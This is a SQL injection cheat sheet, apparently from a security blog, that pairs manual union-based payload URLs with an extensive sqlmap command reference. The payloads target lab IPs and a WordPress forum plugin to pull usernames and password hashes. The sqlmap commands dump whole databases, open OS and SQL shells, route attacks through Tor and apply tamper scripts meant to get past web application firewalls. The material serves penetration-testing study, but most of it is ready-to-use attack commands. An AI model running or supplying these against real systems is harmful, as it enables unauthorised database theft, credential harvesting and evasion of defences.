@sirpedrotavares seguranca-informatica.pt 0xSI_f33d

SQL Injection

Manual tests

 http://10.11.15.137/comment.php?id=756'
 http://10.11.15.137/comment.php?id=756 order by 7
 http://10.11.15.137/comment.php?id=756 union all select 1,2,4,5,6,7
 http://10.11.15.137/comment.php?id=756 union all select 1,2,4,5,table_name,7 from information_schema.tables
 http://10.11.15.137/comment.php?id=756 union all select 1,2,4,5,column_name,7 from information_schema.columns where table_name='users'
 http://10.11.15.137/comment.php?id=756 union all select 1,2,4,5,concat(name,0x3a,password),7 FROM users

http://10.11.1.251/wp/wp-content/plugins/wp-forum/feed.php?topic=-4381 union all select 1
http://10.11.1.251/wp/wp-content/plugins/wp-forum/feed.php?topic=-4381+union+select+group_concat(user_login,0x3a,user_pass)+from+wp_users

SQLmap 101

Simple Usage

If you don’t know anything about the target site then use the normal command first, Observe if the sqlmap found something juicy for you

sqlmap -u “https://target_site.com/page/”

Automatic GET request parameter

sqlmap -u “https://target_site.com/page?p1=value1&p2=value2”

Specify the GET request parameters to Exploit

You can specify on which parameter you want to check or exploit the sql injection using just “-p” flag.

sqlmap -u “https://target_site.com/page?p1=value1&p2=value2” -p p1

Use POST requests (Test All parameters)

sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2"

SQLMap Request file as input

You can specify a request file containing the HTTP request, You can get it quickly from BurpSuite.

sqlmap -r request.txt

Here you can specify the targeted parameter or sqlmap will recognize and will test for all the parameters found.

Specify Custom Position in HTTP request file

You can use asterisk sign(*) to specify which parameter to attack or which place of the request to be attacked. You can specify or mark any part of the request by this method.

Use Authenticated Session With Cookie

sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2" --cookie="Session_Cookie_Value"

Use Authenticated Session with Auth Headers

sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2" --headers="Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"

Basic Authentication

sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2" --auth-type=basic --auth-cred=username:password

Use Previously created Session as SQLmap input (-s)

If you got SQL injection positive somewhere, then sqlmap will automatically create a session file(.sqlite) for later use. Now, If you want to try some other commands later, you can use the session file directly (It will save your time to re-try all the possible payloads and identify the vulnerability and all.)

sqlmap -u “https://target_site.com/page?p1=value1" -s SESSION-FILE.sqlite --dbs

You can use this file from the home path of sqlmap tool’s output directory.

Post Exploitation Commands

If the SQL injection vulnerability observed positive then you can use the following commands to Exploit the SQL injection vulnerability.

List the Databases

sqlmap -u “https://target_site.com/page?p1=value1” --dbs

List Tables of Database TARGET_DB

sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB --tables

List Columns of Table TARGET_TABLE of Database TARGET_DB

sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB -T TARGET_TABLE --columns

Dump Specific Data of Columns of Table TARGET_TABLE of Database TARGET_DB

sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB -T TARGET_TABLE -C "Col1,Col2" --dump

Fully Dump Table TARGET_TABLE of Database TARGET_DB

sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB -T TARGET_TABLE --dump

Dump full Database

sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB --dump

Custom SQL query

sqlmap -u “https://target_site.com/page?p1=value1” --sql-query "SELECT * FROM TARGET_DB;"

Get OS Shell

sqlmap -u “https://target_site.com/page?p1=value1” --os-shell

Get SQL shell

sqlmap -u “https://target_site.com/page?p1=value1” --sqlmap-shell

SQLMap Proxy

Proxy through Burpsuite

sqlmap -u “https://target_site.com/page?p1=value1” --proxy="http://127.0.0.1:8080/"

Use Tor Socks5 proxy

sqlmap -u “https://target_site.com/page?p1=value1” --tor --tor-type=SOCKS5 --check-tor --dbs

Extra

Specify The Database Type

sqlmap -u “https://target_site.com/page?p1=value1” --dbms=mysql

You can use other DBMS types like MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, Percona, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, etc.

Attack Techniques

–technique Specify a letter or letters of BEUSTQ to control the exploit attempts:

  • B: Boolean-based blind

  • E: Error-based

  • U: Union query-based

  • S: Stacked queries

  • T: Time-based blind

  • Q: Inline queries

sqlmap -u “https://target_site.com/page?p1=value1” --technique=BEUSTQ

Specify the Injection Techniques

You can specify the difficulty levels using two flags,

  1. –level = LEVEL Level of tests to perform (1-5, default 1)

  2. –risk=RISK Risk of tests to perform (0-3, default 1)

sqlmap -u “https://target_site.com/page?p1=value1” --risk=3 --level=5

Option: --risk

This option requires an argument that specifies the risk of tests to perform. There are three risk values.

–riks=1: 1 is default value which is for the majority of SQL injection points.

–riks=2: Adds to the default level the tests for heavy query time-based SQL injections

–riks=3: Value 3 adds also OR-based SQL injection tests.

Option: --level

When the value of --level is >= 2 it tests also HTTP Cookie header values. When this value is >= 3 it tests also HTTP User-Agent and HTTP Referer header value for SQL injections.

Use Default Options for the process

Use –batch flag to use all the default options or used for non-interactive sessions. (By specifying –batch flag, sqlmap will not ask you for the (Y/N) choice rather then it will smartly choose according to the needs.)

sqlmap -u “https://target_site.com/page?p1=value1” --batch

–force-ssl flag

Force SQLmap to use SSL or TLS for its requests.

Error: Can’t establish SSL connection

If you getting the following error during testing then you can use the flag –force-ssl to force SQLMap to use SSL or TLS.

Tamper Scripts

You can use the tamper scripts to bypass WAF or to modify the payload. You can use multiple tampering scripts at once using –tamper flag.

sqlmap -u “https://target_site.com/page?p1=value1” --tamper=charencode

For General Perpose Usecase:

--tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

MSSQL:

--tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dsash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

MySQL:

--tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

OR You can create your own Custom Tamper script to overcome the issue of some type of Encrypted payloads like AES, DES, Hashing, etc.

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